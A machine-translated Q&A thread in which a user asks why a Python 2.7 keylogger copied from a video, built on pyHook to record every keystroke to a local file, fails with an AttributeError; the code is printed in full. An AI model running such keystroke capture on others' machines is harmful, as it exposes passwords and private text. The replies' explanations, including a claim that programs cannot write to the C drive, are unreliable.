2016-10-01 73 views
0

我复制从这段视频的键盘记录器:(https://www.youtube.com/watch?v=8BiOPBsXh0g)和运行代码:没有属性 'HookManager'

import pyHook, sys, logging, pythoncom 

    file_log = 'C:\Users\User\Google Drive\Python' 

    def OnKeyboardEvent(event): 
     logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') 
     chr(event.Ascii) 
     logging.log(10, chr(event.Ascii)) 
     return True 

    hooks_manager = pyHook.HookManager() 
    hooks_manager.KeyDown = OnKeyboardEvent 
    hooks_manager.HookKeyboard() 
    pythoncom.Pumpmessages() 

这将返回错误:

Traceback (most recent call last): 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module> 
     import pyHook, sys, logging, pythoncom 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module> 
     hooks_manager = pyHook.HookManager() 
    AttributeError: 'module' object has no attribute 'HookManager' 

我正在运行的Python 2.7 .11和一台windows电脑。 我不知道问题是什么;请帮忙。 谢谢

回答

0

我仍然不确定是什么问题,但我找到了解决方案。 如果你将你试图运行的程序移动到HookManager.py文件所在的文件夹中,那么它就起作用了。

对我来说,此文件是: C:\ Python27 \ LIB \站点包\ pyHook

0

兄弟此行是错误的

file_log = 'C:\Users\User\Google Drive\Python'

由于系统不允许你的程序写到'C'驱动器,您应该使用另一条路径,如'D'驱动器或'E'驱动器等,如下所示。

file_log = 'D:\keyloggerOutput.txt' 
+0

感谢您的帮助,但这似乎没有解决问题,但我现在有一个工作版本的程序,但是。感谢您花时间回答我的问题 – Crelic

+0

兄弟我已经测试过这个程序,它工作正常。 –